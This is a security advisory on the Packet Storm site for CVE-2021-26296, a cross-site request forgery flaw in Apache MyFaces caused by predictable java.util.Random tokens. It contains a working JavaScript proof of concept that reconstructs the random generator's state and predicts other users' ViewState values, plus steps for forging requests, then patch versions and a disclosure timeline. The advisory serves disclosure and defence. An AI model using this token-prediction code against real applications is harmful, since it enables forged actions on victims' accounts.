exploit the possibilities

Apache MyFaces 2.x Cross Site Request Forgery

Apache MyFaces 2.x Cross Site Request Forgery
Posted Feb 20, 2021
Authored by Wolfgang Ettlinger

Apache MyFaces versions 2.2.13 and below, 2.3.7 and below, 2.3-next-M4 and below, and 2.1 and below suffer from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2021-26296
MD5 | a8e80747410cdf24bd08eed09d1cb041

Apache MyFaces 2.x Cross Site Request Forgery

Change Mirror Download
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ Ceritude Securiy Advisory - CSA-2021-001 ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
PRODUCT : Apache MyFaces
VENDOR : The Apache Software Foundation
SEVERITY : High
AFFECTED VERSION : <=2.2.13, <=2.3.7, <=2.3-next-M4, <=2.1 branches
IDENTIFIERS : CVE-2021-26296
PATCH VERSION : 2.2.14, 2.3.8, 2.3-next-M5, 3.0.0
FOUND BY : Wolfgang Ettlinger, Certitude Lab
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Introduction
------------

Apache MyFaces is an open-source implementation of JSF. During a quick
evaluation, Certitude found that the default CSRF protection of Apache MyFaces
was insufficient as the CSRF tokens the framework generates can be guessed by
an attacker.

Moreover, the patch provided by the Apache MyFaces maintainers affects the way
channel tokens for websocket communication are generated. It is unclear,
whether this change fixes a vulnerability.

Vulnerability Overview
----------------------

Applications that employ the MyFaces JSF framework transmit a parameter
"javax.faces.ViewState" with every state-modifying request. Though not
intended for CSRF protection, in the default configuration this parameter
prevents trivial attacks, as it is sufficiently long and tied to a single
session.

However, by default, this value is generated using the insecure random number
generator `java.util.Random`. An attacker can therefore obtain a ViewState
parameter from the application and, based on this value, predict the random
part of ViewState parameters subsequently issued to other users. Besides the
random string, the ViewState parameter contains a sequence number. As the
initial value of the per-session sequence counter is 1, an attacker can very
easily guess this value.

As the ViewState parameter is the sole CSRF protection, knowledge of this
value allows an attacker to conduct CSRF attacks.

When Apache MyFaces is used in client-side saving mode, the ViewState
parameter is insufficient to protect against CSRF. Instead, pages that require
protection against CSRF can be marked as "protected-pages". For these pages,
Apache MyFaces requires CSRF token for each request ("javax.faces.Token"). By
default, the CSRF token too is generated using `java.util.Random`, thus
allowing an attacker to bypass the CSRF protection.

NOTE: Besides the ViewState parameter and the CSRF token, Apache MyFaces also
introduced a cryptographically secure random number generator for the
websocket channel token. Certitude has not verified if this change fixes a
vulnerability.

Proof of Concept
----------------

By default, the class
`org.apache.myfaces.application.viewstate.RandomKeyFactory` is used to
generate ViewState parameter values. This class uses the method
`java.util.Random#nextBytes` as well as a per-session counter value to
generate ViewState strings.

The following JavaScript snippet demonstrates the generation of the random
part of a ViewState value based on the random part of a previously issued
ViewState parameter:

``` {.javascript}
const multiplier = 0x5DEECE66Dn;
const addend = 0xBn;
const mask = (1n << 48n) - 1n;

const unbyte = (bytes, offset) => BigInt(
Array.from(bytes.slice(offset, offset + 4))
.map((b, i) => b << (8 * i))
.reduce((a, b) => a + b));

const longify = n => integer(n, 8n);
const intify = n => integer(n, 4n);
const byteify = n => integer(n, 1n);

function integer(n, len) {
const bits = len * 8n;
const hspan = 1n << (bits - 1n);
return ((n + hspan) % (2n * hspan)) - hspan;
}

const hexToByteArray = s => (new Uint8Array(s.length / 2)
.map((_, i) => (
parseInt(s.charAt(2 * i), 16) << 4 |
parseInt(s.charAt(2 * i + 1), 16))));

const byteArrayToHex = b => (Array.from(b)
.map(x => (((x + 0x100).toString(16)).substr(-2)))
.reduce((a, b) => a + b))
.toUpperCase();

// based on https://github.com/fta2012/ReplicatedRandom/blob/master/ReplicatedRandom.java
function replicatedRandom(bytes) {
let seed = 0;

replicateState(
unbyte(bytes, bytes.length - 8), 32n,
unbyte(bytes, bytes.length - 4), 32n);

return nextBytes(bytes.length);

function replicateState(nextN, n, nextM, m) {
const upperMOf48Mask = ((1n << m) - 1n) << (48n - m);
const oldSeedUpperN = (nextN << (48n - n)) & mask;
const newSeedUpperM = (nextM << (48n - m)) & mask;

let possibilityCount = 0;

for (let oldSeed = oldSeedUpperN;
oldSeed <= (oldSeedUpperN | ((1n << (48n - n)) - 1n));
oldSeed++) {
const newSeed = longify(
longify(oldSeed * multiplier + addend) & mask);

if ((newSeed & upperMOf48Mask) == newSeedUpperM) {
possibilityCount++;
seed = newSeed;
}
}

if (possibilityCount != 1) throw new Error('replicateState failed');
}

function next(bits) {
seed = longify(longify(seed * multiplier + addend) & mask);
return intify(seed >> (48n - bits));
}

function nextBytes(count) {
const res = new Int8Array(count);

for (let i = 0; i < count; ) {
let rnd = next(32n);
for (let n = Math.min(count - i, 4); n > 0; n--) {
res[i++] = parseInt(byteify(rnd));
rnd >>= 8n;
}
}

return res;
}
}
```

An attacker can exploit this issue as follows:

1. An attacker lures an authenticated victim to an attacker-controlled
website.
2. As the victim opens the website, the attacker requests a ViewState value
from the application.
3. The exploit script opens the target JSF page e.g. in an iframe. For this
page, the vulnerable application generates a new random ViewState value.
4. The attacker now predicts a number of the random strings based on the
ViewState value received in step 2. As the victim's ViewState value is
generated just after the attacker's ViewState value, it is very likely,
that the victim's ViewState value is among the generated ones.
5. The exploit script sends several CSRF requests containing combinations of
predicted random strings and sequence numbers. If guessed correctly, the
vulnerable application accepts the attacker's request.

A similar approach is possible to attack protected pages. Unlike the ViewState
values, the CSRF token generated, however, do not contain a sequence counter.

Resolution
----------

The Apache MyFaces maintainers have released a patch that addresses the
identified issue. Certitude recommends affected organizations to immediately
upgrade to version 2.2.14, 2.3.8, 2.3-next-M5 or 3.0.0. If an upgrade to the
latest version is not possible, the Apache MyFaces maintainers recommend
setting the following settings to "secureRandom":

- org.apache.myfaces.RANDOM_KEY_IN_VIEW_STATE_SESSION_TOKEN
- org.apache.myfaces.RANDOM_KEY_IN_CSRF_SESSION_TOKEN
- org.apache.myfaces.RANDOM_KEY_IN_WEBSOCKET_SESSION_TOKEN

Note that the patch introduces changes in the way websocket channel tokens are
generated. Certitude therefore recommends applying the patch or workaround to
all applications that use Apache MyFaces, even if CSRF attacks are of no
concern.

Timeline
--------

---------------------------------------------------------------------------
Date Text
------------ --------------------------------------------------------------
2020-12-15 Sending encrypted vulnerability description and proof of
concept script to the Apache security team

2020-12-15 Apache security team acknowledges receipt

2020-12-28 Apache MyFaces team member requests proof of concept script

2021-01-04 Asking for encrypted communication channel

2021-01-04 Vendor provides PGP key

2021-01-05 Sending encrypted proof of concept

2021-01-07 Vendor requests more information about the PoC

2021-01-08 Providing requested information

2021-01-19 Coordination call with vendor

2021-01-26 Coordination call with vendor

2021-02-02 Coordination call with vendor, release of patches is imminent

2021-02-09 Coordination call with vendor, 3 of 4 patches have been
released

2021-02-15 Coordination call with vendor, last patch release is in
progress

2021-02-19 Public release of the advisory
---------------------------------------------------------------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(c) 2021 Certitude Consulting GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Login or Register to add favorites

File Archive:

March 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    19 Files
  • 2
    Mar 2nd
    15 Files
  • 3
    Mar 3rd
    30 Files
  • 4
    Mar 4th
    13 Files
  • 5
    Mar 5th
    10 Files
  • 6
    Mar 6th
    1 Files
  • 7
    Mar 7th
    2 Files
  • 8
    Mar 8th
    19 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close